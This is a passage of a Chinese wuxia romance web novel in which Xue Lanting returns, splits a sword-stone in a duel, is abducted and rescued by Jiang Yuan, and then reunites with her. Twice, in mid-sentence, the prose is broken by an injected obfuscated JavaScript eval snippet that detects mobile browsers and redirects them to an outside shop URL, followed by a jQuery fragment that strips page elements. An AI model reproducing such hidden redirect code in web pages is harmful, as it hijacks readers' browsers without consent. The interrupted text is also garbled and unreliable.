姜沅手腕剧颤,骨节发出不堪重负的脆响。眼前一阵一阵发黑,耳边风声、惊呼声、兵刃交接声,全都搅在一起,越来越远,越来越模糊。 忽然,一股浩瀚内力自后心涌入,如江河决堤,烈日破云。 姜沅来不及细想,枪随心动,枪尖爆出一团灼目的光芒,挟着排山倒海之势向前刺出。 游凤回连人带刀,竟被这一枪震得连退数步,弯刀险些脱手。 姜沅不敢置信地看着自己的手,猛然回头,撞上一双明亮带笑的眼睛。 “沅兄,好久不见呀。” 声音有点沙哑,语气还是那么熟悉,那么欠揍。 “想我不想?” 姜沅眼眶一涩,紧绷的全身瞬间放松柔和,刀伤的痛苦、寒风的凛冽、险些力竭的虚脱,所有被她强压下去的知觉,在这一刻全数涌上来。 “反正我还挺想你的,哈哈!差点以为……再也见不到你啦。” 他语气轻松,手上、头上、脖子上都缠了绷带,血迹丝丝缕缕,也不知受了多重的伤,近三个月都未好。 “兰庭师兄!”薛朗激动道。 “兰庭师兄回来了!”邀月弟子纷纷欢呼。 姜沅嗓子干涩:“你……” 想说什么,对上那双盈满思念的褐色星眸,又瞬间失声,便只好抓住他垂落胸前的血色绷带,心乱如麻。 游凤回幽幽道:“喂,劳驾,还没打完呢。” 25. 暗涛 薛兰庭倏地正色,负剑上前,抱胸道:“你又是谁?你师父难道没教过你,在别人寿宴上要有礼貌,不能打打杀杀吗?” 游凤回嘴角一抽。 薛兰庭环视一圈,嘟囔道:“多喜庆的日子,我刚想赶来蹭个酒,没想到你们全跑冷飕飕的山上来啦,给这块硬邦邦的石头庆生么?”他一瞥矗立山巅的镇剑石上,那道深深的刀痕,“这点实力,也敢出来显摆?” 一句话如石子投湖,在场上激起无数涟漪。 薛朗站在薛青锋身后,压低声音问:“兰庭师兄什么意思?他莫非比游凤回还厉害?” 薛炳之神色肃然:“你仔细看兰庭师弟周围。” 薛朗依言望去,只见薛兰庭肩发干净一片,雪花飘至他身周三寸,便像是撞上了一层无形的屏障,悠悠然滑向别处。再看他脚下雪地,一路走来,竟只有浅浅一层痕迹,如鸿羽拂雪。 “兰庭师弟这三个月,怕是另有奇遇。” 游凤回显然也意识到来者不俗,但他向来不识得“知难而退”四字怎写,笑意不达眼底:“口气倒是不小,也不怕闪了舌头。” “我说你不行,你就是不行。” 薛兰庭对这个当众欺负他兄弟的狂徒,不带半点客气,“倘若我赢了,你们便滚出南派。” 游凤回冷哼一声,“就怕你没这个本事。” 薛兰庭一圈圈解开纱布,露出疤痕狰狞的手腕。抽出沉沉的伏天剑,行至镇剑石旁,双手持握,运气,抬肘。 看似朴实无华的一劈落下,周身气势瞬变,如山岳拔地,沧海凝波—— 只一剑。 镇剑石喀喇一声,一分为二! 众人倒吸一口凉气。 只见那一道道实质的剑气,自剑尖倾泻而出,绵绵未绝,化作万千白羽,穿过镇剑石,撞上背后那株千年古木。 枯枝上无数霜花冰棱被震起,齐齐卷向半空,轰然炸开,似千千万万朵梨花,纷纷扬扬,漫天漫地。 一时之间,如神仙过境,似梦似幻。 众人怔怔仰头,任那冰凉的梨花瓣落在脸上、肩上,如临春天。 不知过了多久,梨花瓣缓缓落尽。鸦雀无声中,只有那道被劈成两半的镇剑石,裂口光滑如镜,无声地躺在雪地里。 “这……” 所有言语仿佛都失去色彩,众人嘴巴无力大张,难以置信望着镇剑石,与石前那道萧萧肃肃的少年身影。 薛兰庭收剑回鞘,暗自咽回喉中腥甜,按下胸口剧痛,抬起下颌,扬笑:“如何?” 游凤回脸上笑意无影无踪,鹰隼般的眸子里,杀意一闪而逝。 薛兰庭不想管他,迫不及待扭头寻姜沅,心头滚烫,像小孩赢下比试般滋滋自得,讨赏道:“沅兄,你看我——” 姜沅却后退一步,神色莫名。 薛兰庭顿在半路。 ……为什么? 不及思索,下一刻,一个女子的惊呼响起。 “啊!” 阿渠指着一个方向,面色惶惶。 众人顺着她的指尖望去,只见立于凌波众人之首的程书青,竟然吐出一口血,胸口晕染开一朵硕大红花,双目圆睁,死死盯住一分为二的镇剑石。 “来人……来人!快叫大夫!”程茂仓皇大叫。程骇眼疾手快,扶住摇摇欲坠的程书青。 “我来吧。”阿渠以眼神向姜沅请示,得了允许,快步上前,切住他的腕脉。 “气血逆行,火相攻心……先把他放下!” 劈石余波未平,这点小插曲,没几人放在心上。游凤回抚摸青云破穹刀的刀柄,望向薛兰庭道:“我的刀,出鞘必饮血。你有几分能耐,便拿你祭刀罢。” 薛青锋沉下脸:“游姓小子,莫要胡搅蛮缠,得寸进尺!” 邀月弟子皆忿然。这时,一童家子弟匆匆上山,道:“不好了!那人……逃出去了!” 童非面色一变:“还不快追!” 温玉勉从头到尾保持沉默,目光晦暗,定定看了姜沅片刻,不动声色随着一众童家子弟退下。 游凤回道:“居然忘了,我们童家庄,还为程庄主备了一份大礼。” 不多时,一穿着破烂的少年被童非押了上来。众人疑惑不解,唯独一人浑身剧颤。 游凤回道:“拿他祭刀,也是一样的。” 姜甫阁疑道:“这是何意?你们北派人,难道都滥杀无辜吗?” “无辜?他可不无辜。”游凤回莫测一笑,“说不定,程庄主还得感谢我呢。” 童非解释:“此人妄称自己乃程庄主私生子,四处招摇撞骗,败坏武林风气,更损程庄主清誉。我北派念及凌波山庄名声,顺手将此人拿下。区区小事,不足挂齿。” 他持剑逼近。少年慌乱瑟缩,朝程茂大喊道:“爹!救我!” “胡说!”程骇厉声打断,“世人皆知,程庄主只有少庄主一个孩子,哪来的私生子?” 游凤回道:“说得对。是不是私生子,问问程庄主不就好了?若不是,此等小人,杀了何妨?” 程茂胸口剧烈起伏,脸色青红交加,却迟迟不言。 场上的气氛,忽然变得奇怪。 凌波山庄能有今日,所靠何人,江湖上谁不知道? 前任庄主程灵罗,一代英雌,更胜须眉。是她带着凌波,从籍籍无名,一步步跻身南派三大庄之列。可惜生下程书青后,便撒手人寰。 程茂以外婿之身接掌山庄,悲痛欲绝,立誓此生不再爱第二人。江湖人提起他,虽嫌其优柔寡断、武功平平,却也敬这一片痴心。正因为这份痴心,凌波才没有散。 可如今,一片痴心的程茂,多了个不知从哪儿冒出来的私生子。 一时之间,千夫所指。 程书青胸膛的血色越来越多,双目紧闭,阿渠捂住他的耳朵。 “都散了!散了!把这些妖言惑众的北派人赶出去!”凌波山庄掌事喝道。 程骇疲声道:“诸位,还请先回客房暂歇罢。” 薛青锋看了看愁云惨雾的程茂,和昏迷不醒的程书青,有几分不忍:“一切尚未有定论,眼下还是先稳住心神要紧。若当真是遭人构陷,有何难处,可来寻我。”毕竟两庄相交多年,曾是兄弟。 程茂失魂落魄。程骇惨然一笑:“我替庄主,多谢薛大侠。” 欢天喜地的寿宴,因着接二连三的风波,变成了凌波山庄的断头台。 北派此来本想踩尽南派颜面,不料碰上个咬不动的姜沅,又半路杀出个薛兰庭。一个宁折不弯,一个剑破玄石,硬生生把那口气给顶了回去。好在至少掀翻了南派三大庄之一,也算功成身退,意足而去。 游凤回离开前,扫了姜沅与薛兰庭一眼,道:“他日相见,必分生死。” 余下的南派众人,闹哄哄如一锅煮沸的粥,叱骂有之,问责有之,叹息有之。 薛兰庭隔着人潮,想追上姜沅,却被邀月师兄弟拉住,关切的问候浪潮般一波一波砸来。而姜沅早已转身,跟随姜甫阁离开。 “师兄师兄。”薛朗摇他手臂,逼他回过神,“快给我说说,你是不是真的掉下山崖了?” “师兄师兄,你是不是像话本里说的,捡到世外高人留下的武功秘籍啦?” “我平生从未见过那么厉害的一剑!” “师兄师兄……” …… 夜晚,薛兰庭闷在客房中,辗转反侧。 “他为什么不理我了?” 寒风趁隙钻入被窝,他拢紧肩上被子,齿关磕了两下。 “难道是因为我帮了他?可若是当时不帮,他岂不是……” 离别三月,近乎走火入魔、死生一线间,他想的不是师父,而是好友。相逢的场景,他构想了无数遍,也自认为做到不错的地步,但他的好友,似乎不太满意。 薛兰庭总觉得自己后心开了个口子,怎么堵都堵不上,秋夜凉风飕飕地灌进来。 窗外的乌云,一下遮挡月亮,又一下荡荡飘过。 “如果睁开眼后,能看见月亮,我就去找他。” 薛兰庭闭上眼,在心底郑重默数三声,再睁开时,天地一片昏暗。 他就这么鼓着眼皮,直到眼睛涩痛,那片闲悠悠的、不识好歹的乌云,终于放过了身后无辜的月亮。清冷温柔的月光,如手掌抚摸他酸胀的双眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274962|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去!” 一个鲤鱼打挺弹起,三下五除二穿上衣裳,带起一阵风,扬长而去。 怀揣一腔隐秘的喜悦,刚出门,黑暗中闪烁的白光,却让他脚步微滞。 不对。 手往后摸了个空,这才想起走得太急,没带伏天剑。 薛兰庭悻悻收回脚步,转身回房,甫一开门,便被扑面而来的白色粉末喷了个满头满脸。 “有刺客——!” 听到警报时,姜沅刚解下裹胸,伸手探了探浴桶水温。 她本该谨慎行事,待回庄后再清洗,但今日先是被淋了汤汁,后又鏖战一场,汗血黏腻地糊在身上,实在忍无可忍,便叫了几个侍从守在院中,打算速战速决。 院外炸开嘈杂,她无心作理会,沉入水中。 “……邀月……薛兰庭被……快去!” 双眸猛然睁开,水花四溅。 姜沅一把扯过衣衫,飞速一套,没时间系裹胸,便随手用一块布条罩住下半张脸。 冲出门时,凌波山庄别院已是一片大乱,火光冲天。 “北派!一定是北派那群人,贼心不死!” “快去叫薛庄主!” “薛师兄!兰庭师兄!你在哪——” 林郊外,夜色如墨。一群黑衣人穿行其间,迅如蝙蝠。 薛兰庭被粗暴地扛在肩头,手足软软垂着,意识模糊。随着轻功一起一伏,他的脸越来越白,胃里翻江倒海,几欲呕吐。 “放下他。” 黑暗的前方,传来一个冷清低沉的声音。 黑衣人对视一眼,旋即散开,从四面八方围了上去。 姜沅身形一动,踹开当先一人,顺势夺下他手中长剑。剑光横扫而出,劈开夜色,带起一阵惨叫。 黑衣人大惊,无心恋战,互相使了个眼色,“撤!” 薛兰庭被重重摔到地上,痛得龇牙咧嘴。没缓过神,又被人抱起,力道轻了许多,背在略显单薄、却又十足有力的肩头。 鼻翼,传来一股淡淡的馨香。 薛兰庭一愣,睁开刺痛的眼,模糊的月光下,努力辨识那人的眉眼。 “……是你?” 姜沅并未答话,脚步未减,把薛兰庭放在一株树下,只希望夜色深沉,他并不会发现自己的异样。 薛兰庭瑟缩在树根上,像一只不慎踩到捕兽夹的小兽,脑袋耷拉,身上纱布崩裂,左一块右一块,颇有凄楚意。 姜沅想起镇剑石一劈后,薛兰庭望向自己那期盼的目光,与落寞的神色,心头一软。 或许,她那时不应该后退。 可那一剑,不仅劈走了北派,劈倒了程书青,也在她心底,留下一根刺。 姜沅叹了口气,蹲下身,抬手,摸了摸他细软的,如丝绸般的长发,未察觉到薛兰庭脊背微微一僵。 他不停眨眼,似进了沙子。姜沅迟疑一瞬,欲伸向他的眼睑—— “别碰我!” 薛兰庭猛地吼道,向后一缩,浑身紧绷,写满了抗拒与疏远。 姜沅手悬停在空中。 一阵风掠过,薛兰庭抬头,只见一角衣袂从自己脸上拂过。那人已转身,融入夜色。 山庄大堂,程茂像一下子老了十岁。 “薛大哥放心,我们定会将薛兰庭少侠安全寻回。” 薛青锋虽心急如焚,但也知程茂一日来打击过甚,不好再逼,拍他肩膀,点头道:“我自是相信你们。” “庄主!”邀月弟子抬着几具尸体,急急而入,“兰庭师兄已经安全回来了,就是他们害的!” 脸罩被揭下,薛青锋皱眉:“不太像北派人……” 旁观的姜郃瞳孔一缩:“这——” “这是凌波弟子!” 众人心头一跳。 “有何证据?” 姜郃激动道:“就是这个人……虎口这道疤……他还不小心把汤洒在少庄主身上,害他迟了宴会!我死也不会忘!” 程茂大声叫冤:“不可能!我不可能对薛兰庭少侠下手,大哥,你要相信——”随即,嘴巴紧的一闭。 他不可能,那凌波的其他人,就不可能了么? 26. 相逢 “程茂。”姜甫阁久居上位,开口便是审讯般的威严,一字一句,如锤击砧,“少旻一事暂且不论。那蚀阴玉总是你们送的,派去暗杀薛兰庭的人,总是你们山庄弟子罢!” “什么蚀阴玉,我……” 四下里,原本尚存的几分怜悯,此刻已尽数化作厌恶。程茂被那一道道目光钉在原地,喏喏低头,眼珠爬满血丝,“薛大哥,姜大哥!你们也知道,我资质平平,不好生事,最大愿望就是与四方交好,不交恶结仇……” 说难听点,便是见谁都舔一口。 “我儿书青,他……性子是执拗了些,待己苛严,可绝非恶毒狭隘之人,绝不会行那害人之举!” 然而,薛青锋不再看他,“程茂,我们先行一步,你好自为之罢。”袖袍一拂,率领邀月弟子,断然离去。 薛兰庭临行前仍未见到姜沅,心中空空落落,忽然见到一个水蓝色身影,连忙挥手上前:“阿渠、阿渠姑娘!” 阿渠端着一碗药汁,面容憔悴,目光一如既往温和,“薛少侠?” 薛兰庭走近,却有些扭捏:“那个……对不起啊。” 阿渠眼里浮现一丝困惑。 “昨天……我不是故意的。就是,呃,突然被吓到了,实在不好意思!没想到你力气也……挺不赖嘛,哈哈……无论如何,我真的很感谢你!” 阿渠听得云里雾里,刚要开口询问,远处的薛朗大喊:“兰庭师兄!我们快走啦!盈珠师姐还在等我们回去呢,我带了好多她爱吃的月轮花糕!” 扭捏的薛兰庭顿时飞箭般窜过去:“诶!花糕!哪有花糕?” 别庄弟子见了,羡慕道:“就是他劈掉了镇剑石?这么小年纪……” “是啊,你是不知道,那一招‘白羽吹花’,但凡见过的,永世都不会忘!哎,什么时候我也能到这个地步啊。” “下辈子吧!有些东西从娘胎里就定好了,你再怎么练,也跨不过那道坎儿。人与人,有隔鸿沟。凌波少庄主,不就是这么个例子,都……” “几位是衡越派的吧?”阿渠柔声提醒,“我方才见到你们师叔在寻人,气得拿着戒尺,到处乱挥乱砍。” 闲聊的弟子们脸色齐变:“那山老虎!”推搡挤拥而去。 此番南北比试,轰动武林。 焚阳山庄与邀月山庄的声望水涨船高,人皆叹服。其势之盛,竟盖过了当初扶摇盛会的风头。雪山上那惊天动地的一剑,尤为众人津津乐道。 凌波却黯然退出南派三大庄之列。程茂父子一病不起,程骇临危受命,暂代掌事之职,终日焦头烂额,脚不沾地。一边应付各方责难,一边护着岌岌可危的《妄经》,守着摇摇欲坠的山庄。余下的仍站在凌波山庄这边的盟友,是为旧情,还是为《妄经》,谁也说不清。 江湖中人推举盛湖山庄补位三大庄,言辛梅娘有豪侠程灵罗遗风,当之无愧。辛梅娘却婉言谢绝,只道专心治武,无暇他顾。此为后话。 …… 一人气喘吁吁,跑到凌波山庄门口,探头探脑,逮着一个出门的弟子便问:“嘿,小兄弟,问你个事儿,焚阳少庄主是不是在这里?” 那弟子一脸冷淡,上下打量他一眼:“不在。” “怎么会!你们庄主不是大寿吗?我可是焚阳少庄主的朋友、老乡,你带我去见他,少不了你好处!” 弟子一听他提这个就恼火,狠狠一推:“滚滚滚!我管你是谁,要找焚阳的人,就去焚阳找!” 来人不死心,又绕着山庄四处溜达一圈,见山庄冷清,人声稀少,果真不像有喜事的模样。 “哎!这叫什么事儿嘛!” 他愤愤往河边一坐,洗了把手。河水清澈冰冷,映出一张满面髭须、邋里邋遢的脸,眼底乌青,疲态尽显。 “赶了半个月的路,骨头都颠散了,就为了见小圆儿……”他猛地一拍水面,水花四溅,“结果呢?凌波和焚阳那群狗东西一样,眼珠子让狗吃了!知道老子是谁吗!” “邀月也不是好东西!一个个穿得人模狗样,光鲜亮丽,屁事没有,就瞎乐呵。老子整天喂马挑粪,累得跟条狗似的,还只是个小杂役……” 他当初攀上姜沅,就是为了讨个活计。被姜郃没收令牌打个半死后,虽在邀月山庄混了个差使,但人心不足蛇吞象,他兄弟都发达了,万万没有自己还吃苦的道理。听闻薛兰庭身遇不测,他便动了心思,想着不如再去投奔姜沅。结果?见一面都难如登天。 尹大头一边大声咒骂三庄之人“狗东西”、“狗娘养的”,一边捡起石头不断往河里砸。骂到最起劲处,余光一瞥,河岸上似静静躺着一个人。 他走过去,见那人昏厥不醒,皮肤都泡皱了。 衣着倒是不凡,哪来的小贵公子。 尹大头满腔余愤,统统朝那死人撒去,当成口中的狗东西来踢踹。 “你们这些有钱的,屁本事没有!就知道压榨我们这些普通老百姓,做牛做马!姜沅也一样……要不是有个好爹,能有今天?怕不是跟老子一样,给人当孙子!” 踢着踢着,那人竟悠悠转醒。 “姜沅……什么姜……你认识姜沅?” 尹大头吓得大退一步:“你没死?” 那人脸色苍白,气息倒不弱,抓住他的手,颇为急切,“你认识姜大侠?” 尹大头在心底打起小算盘,挺起胸膛,负手,沉嗓道:“姜沅?当然认识,他小时候,还追在我身后叫大哥呢。”随后睨他一眼,“你又是谁?” 那人道:“我……我叫宋瑛。”凉风一吹,眼眶瞬间发红,哽咽着,“一群骗子把我骗到这里……抢了我的令牌,还把我打晕,灌了药……我难受得要死的时候,又被他们丢到冷冰冰的河里……”说着,眼泪如断线珠子滚落。 尹大头对他的遭遇毫不感兴趣,打起了报酬的主意:“你家是干什么的,我送你回去?” “不用了,谢谢。”宋瑛悲伤地擦了擦眼泪,怎么也擦不干净,抬头看他,“你是姜沅大哥,那你也很厉害是不是?你带我走吧,我想当大侠,想……见他。” 尹大头露出一副为难的表情,“想当大侠,也行。这拜师费……” 宋瑛立刻从衣裳内袋中掏出仅剩的金银,犹豫半晌,咬牙扯下颈间玉佩,道:“给你,都给你,带我学武功!” 尹大头喜笑颜开,咬一口金锭,将玉佩揣进兜里,看他像看只流油的肥羊,“行!老……本大侠带你去最大的山庄,学最厉害的功夫!” 宋瑛眼热:“是、是姜大侠的山庄么?” 尹大头啐道:“就你这点能耐,还想找姜大侠,丢丑不?你得先从入门做起,掏马粪、劈柴火、挑泔水,什么时候做得好了,我再带你去找他。” 宋瑛听到“掏马粪”三个字,脸上僵了一瞬,眼底闪过一丝恶心。听到最后,他猛地挺直腰板,眉轩色举,朗声道:“好!师傅!我一定会好好干的!” “那就行,跟我走吧。” “诶!” 一高一矮两身影,踏上回邀月山庄的道路。 …… 一缕悠悠袅袅的药香,穿门折廊,弥散在微凉的空气里。 姜沅路过流风小筑,被一束火星吸引了视线。 阿渠拨着炉火,扶姜少旻从轮椅上起身,坐到另一把垫着厚软褥子的藤椅里。旁边的小桌上,躺着一只空空的药碗。 “过了这个冬天,便可以痊愈了。” 姜少旻眼底是藏不住的感激与喜色:“阿渠姑娘,当真辛苦你了。我寻遍天下所有名医,除了那位鬼手前辈,皆无人可治。幸而还有你。” 自双腿渐有知觉,他整个人也像重新活了过来。昔日那股挥之不去的阴郁,竟已消散了大半,取而代之的,是一份温和沉稳的气度,隐约可见曾经那个意气风发的大庄英杰。 “日后若有任何差遣,需要任何东西,只需一句话,我姜少旻定赴汤蹈火,在所不辞。” 阿渠轻轻摇头:“姜沅少侠于我有救命之恩,公子若要报恩,便好好待他吧。” 姜少旻神情微滞。墙边的姜沅扯了扯嘴角,心中好笑:这恩报来报去的,竟还没完没了。 那边阿渠又问:“姜公子,你这腿,真的是凌波少庄主害的吗?” 这件事于姜少旻本是禁忌,但他如今痊愈在即,便也不计较,只目光幽深许多:“所有人都认为是他,就连我也一度……” 阿渠道:“那公子现在也以为么?” 姜少旻摇摇头,望着脚边一盆火光:“我不知道。再说这些,也没意义了。”他母亲心忧而去,自己一瘫就是八年,心境已然大变。 阿渠垂下眼睑,喃喃道:“公子,此次我去凌波,寻了一味药。” “那药是治疗你腿疾最重要的材料,只有凌波后山才有。我初不识路,白费许多力气,差点惊醒猛兽。” “后来,程书青少侠找到了我。” 她看向姜少旻,面纱下口唇轻轻开合:“他带我,去采下那味药。” 姜少旻神色似幻。 阿渠又道:“我听说,你们曾经是顶要好的朋友,发誓一同守卫南派武林,振兴两大山庄。” 冷风吹拂,赤红火星迸溅一跳,又倏忽熄灭。 阿渠道:“朋友……是很重要的人吧,姜沅少侠也说我是他朋友。我这辈子,朋友屈指可数。对于我这种漂泊无根之人,朋友就是家人,天底下再好的东西也不换的。” “朋友之间,又怎么会互相伤害呢?” 天空响起一声鸦啼。姜少旻怔怔坐着,回过神,阿渠已端起桌上残渣药碗,推门离去,唯余霜风灌袖,叶落空庭。 姜沅在她之前离开院墙,行至练功场。 焚阳弟子正一喝一喝练剑,姜沅一来,场上气氛莫名热切许多,众人仿佛是在用嗓子练功,一声高过一声,差点把一旁的屋顶掀翻。 人堆里,有新入门的弟子正躲在后头浑水摸鱼。一见姜沅,眼睛倏地亮了:“这就是少庄主?生得真……好看,就是不太魁梧,听说邀月庄主身长九尺呢!” 旁边一老弟子嗤道:“你懂什么?这叫健美颀长!” “少庄主怎么总冷冰冰的,也不爱笑。薛炳之那样翩翩君子,还和师兄弟一道泡过澡呢,咱们少庄主,好像从来没跟咱们……” “你懂什么?这叫特立独行!” “你说,要是少庄主也去劈镇剑石该多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274963|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,就没姓薛的什么事了,现在风头都被他抢光了,哼!” “你懂什么?这叫自有筹谋!” 小弟子说一句被老弟子堵一句,索性认命:“行了行了,知道了!我什么都不懂!” “对!你什么都不懂!我们少庄主就是最好的!” “喂!你们在那儿吵什么吵呢!”姜郃过来喝道,“又偷懒了?下去挑水跑十圈!” “冤枉啊!都是他!” 姜沅对此一无所知,指导完弟子练剑,又去了趟藏书阁,仿佛想通过不停做事,消去某些不愿想起的东西。 抱着几卷书册回书房的路上,瞥到几个穿着陌生的人,拥着一个看不清面目的人,往别院去。 姜沅拦住一弟子:“那是谁?” 弟子受宠若惊,忙躬身回道:“回少庄主,是盟友明镜宗的小公子。听说身染顽疾,算命的讲要在阳气充裕之地生活、锻炼,便求了庄主,每月来咱们山庄住几日。” 姜沅点点头,并未放在心上,转身走向回雪小筑。 书房窗户大开,窗外一丛经年不死的篁竹,簌簌作响。姜沅垂眸翻着书卷,目光一行行掠过,却怎么也看不进去,遂用指尖点着,一个字一个字读起来。 “静而圣,动而王,无为也而尊,朴素而天下莫能与之争……” 指尖一顿,书页中间,夹着一纸小抄。 许是哪位师兄弟借阅之后落下的,姜沅随手展开,好奇一看,只见上面缠缠绵绵的笔触,写着一句: “相思一夜梅花发,忽到窗前疑是君。” 姜沅表情顿僵,将纸揉成团,跟抓块热炭似的,火速甩出窗外。 肯定又是哪个小师弟见了山庄外面的女子,思之如狂,放荡而作! 竟还夹在书卷里。藏书阁的人怎么检查的! 姜沅越想越气,觉得很有必要对山庄藏书进行一次大清洗,免得这些酸诗烂句扰人心神,亵渎圣贤。弟子也要耳提面命一番,最好揪出那个思春的,赶出山庄,既无心练功,便让他去跟情人好好“相会”罢! 由是想着,就要留下证据。姜沅头伸出窗,想找回那张纸团。 甫一探出,一张熟悉的脸便迎了上来。 “沅兄——” 嘭! 两人额头撞到额头,痛得眼冒金星。 姜沅惊疑未定,瞪眼看:“你?!” 哪儿冒出来的! 薛兰庭捂着额头:“我……轻功不好,跑了好久,才赶到这里。” 姜沅努力找回自己的声音:“……你来这里干什么?”这是私闯民宅知不知道? “我不知道,想来便来了。”薛兰庭将伏天剑往窗内一丢,手脚并用爬上窗,生怕被她拒之门外,“这不三个月没见,找你玩来了。” 姜沅在凌波山庄的异样,始终让他惴惴不安。他有种预感,若还不来,他这位好友,恐怕就要渐行渐远,离他而去了。 “邀月山庄那么多人都不够你玩的,哪个像你这样?”姜沅呛道。 “他们不好,我就想跟你玩。”薛兰庭“贴心”地关上凉兮兮的窗,扫视书房一圈,惊叹:“好多书呀!这画儿,是你画的吗?” 姜沅把书卷合上,堆叠到一旁,“让你失望了,我不会画。” 她抬眼一看,见他虽伤痕未消,纱布却已取下,活力四射,浑然不似有恙之态。 薛兰庭四处张望,兴致勃勃,突然想起什么:“噢,我刚刚来时,在地上捡到了这个——” 看到熟悉的纸团,姜沅脸上扭曲一瞬,劈手去夺:“给我!” “干嘛!”薛兰庭藏到身后,“什么东西,沅兄你这么激动?” “不是好东西,你快给我!” 姜沅往左抢,他便往右闪,两人打着圈争夺一张小纸条,好不容易扣住薛兰庭手腕,掰开他手,才发现纸团不知何时跑到另一只手上去了。 薛兰庭乐此不彼,仗着身材高大、手脚灵活,什么障眼法、移花接木、瞒天过海一股脑统统用上。姜沅遭骗无数,脸越来越沉,忽而计上心头,也不抢了,直接往他腰间挠痒痒。 “啊!” 薛兰庭大叫一声弹起,手足推拒,倒在地上:“不玩了!不玩了!你耍赖!” 姜沅冷哼:“偏你用得计谋,我用不得?”眉间微扬,似有得意,又要去拧他腰肉。 这时,外面传来一句通报: “少庄主,明镜宗的那位小公子,说要见您!” 地上的两人登时愣住,相视一顾。 脚步越来越近,姜沅连忙将薛兰庭推到靠墙闲置的花鸟屏风之后。 “不许出声!”严厉警告。 薛兰庭咬嘴捂嘴,示意死也不吱声,整个人蜷作一团。 姜沅匆匆忙回到书桌前,正襟端坐,将书卷取出翻看。 门从外面被推开,一个清瘦俊逸的人走了进来,步履轻盈,颇有弱柳扶风之态。 姜沅冷声道:“你便是明镜宗弟子?找我何事?” 四目相对,双双一怔。 那人上前一步,眼中莹莹,似莫可言说的思念,又似无穷无尽的怅惋,轻轻唤道: “阿姜姐姐。” 27. 思绪 来者一袭浅青色直裾深衣,外披秋香色薄氅,腰悬白玉佩,衬得整个人清瘦如竹,不胜风力。与记忆中病弱可怜的模样三分相似,更添了养尊处优的清贵之气。 眉眼已然长开,清癯疏朗,目光却一如当年。 姜沅在短暂出神后背过身,避开那人视线,压低嗓音道:“你认错了,我是焚阳少庄主。” “你是焚阳少庄主。”那人重复一遍,声音温润如珠玉,敲打在人心上,“也是我的阿姜姐姐。” 姜沅缄默。向来成竹在胸的温玉勉,有些局促地绞紧披风上的丝带,紧紧盯着姜沅的背影,一字一句,“这些年来,我一直在找你……我相信,无论你在哪儿,变成谁,我都会找到你。” “就算你忘了,我也不会忘。那时的凄风苦雨,饥寒穷途……你待我的好,我永永远远,铭记在心。” 说没有触动是假的,可时移世易,姜沅就算少时与他关系再好,也并不代表希望再见,尤其她如今处于全天下人的注视下,一步踏错,便是万劫不复。倘若两人私下相认也就罢了,偏偏—— 她不动声色扫了一眼暗处的花鸟屏风。 但阿贫毕竟不是尹大头,不好糊弄,她也狠不下心,便叹了口气道: “过去的事,便让它过去罢。如今你我各有身份,各有家人。你能好好的,就足够了。” “家人……” 温玉勉黯然,“我被接回后,父母虽对我有愧,吃穿用度上多加照拂,门派里却没几个真正瞧得上我、待我和善的,我仍是……孤身一人。” 他自知晓姜沅的身份,便心领神会她这些年的不易。此言一出,果见姜沅一震,目色生出几分惺惺相惜之意。 温玉勉专拣些旧事来说,试图营造两人曾经相处的气氛。原本铁了心划清界限的姜沅,竟也一寸一寸软下来,眼底一片柔和的湖泊。 屏风后的薛兰庭,初时还觉得好笑:“沅兄小时候到底什么样?怎么一个两个的,都说他是小姑娘?” 他幻想姜沅穿女装的模样,忽而耳热:“不行,太——奇怪了。”嘴上说奇怪,思绪却控制不住乱飞,竟又想看一眼姜沅那张漂亮又冷淡的脸,便在两人你一言我一语叙旧时,悄悄探出头。 只一眼,薛兰庭脸上的笑瞬间凝住了。 他看到姜沅神色复杂陷入回忆,身后的温玉勉,缓缓举步上前,抬起双臂,环住了她的腰身。 他下颌抵在她肩膀上,轻轻道:“我这副身子,也抵不了几年好活了,只想在生命最后的日子里,陪伴在喜欢的人身边。” 温玉勉说了什么,薛兰庭没听进去;他什么时候离开的,薛兰庭也不清楚。待神思回转,屏风已被姜沅拉开,灌进一片日光。 “叫了你几句都不应,还以为你走了。”姜沅睨他道,一把将他从地上扯起。 薛兰庭没说话,仍站在原地,姜沅回头捶他肩:“怎么了?” “沅兄……”薛兰庭低着头,“我知道了。” 姜沅狐疑:“你知道什么了?” 薛兰庭讷讷道:“你身边那么多朋友,那么多师兄弟,如今又来了一个……他们都那么喜欢你,崇拜你……” “我在凌波山庄,想见都见不到你……如果我没来,这三个月,你是不是都把我忘干净啦?我、我也没怪你的意思,就是……你有我没我,好像都一个样子,可我不能……” 姜沅心中闷闷地想:我哪有没找你?明明是你自己,把我吼走的。 薛兰庭支支吾吾半天都没表达清楚,或许他自己也不知道真正想说什么,干脆一拍椅子,大叫道: “你都是我最好的朋友了!都没抱过我!怎么能抱他!!!” 吼完,室内一静。 姜沅面色古怪:“就这个?” 薛兰庭心中一蔫:完蛋,她又要觉得我幼稚了。 下一刻,身上传来温热触感。 薛兰庭僵成了木头人,愣愣地被姜沅抱在怀里。一团热气从胸口窜到头顶,升腾成无形云雾,飘飘荡荡,挤满整个书房。 薛兰庭手都不知道如何放。呆滞半晌,轻轻搭在姜沅背上。 “这样可以了吗?”她的声音从未如此近。 “可、可以了。”薛兰庭干巴巴道。 但谁都没有放开。这一抱,如此之久。 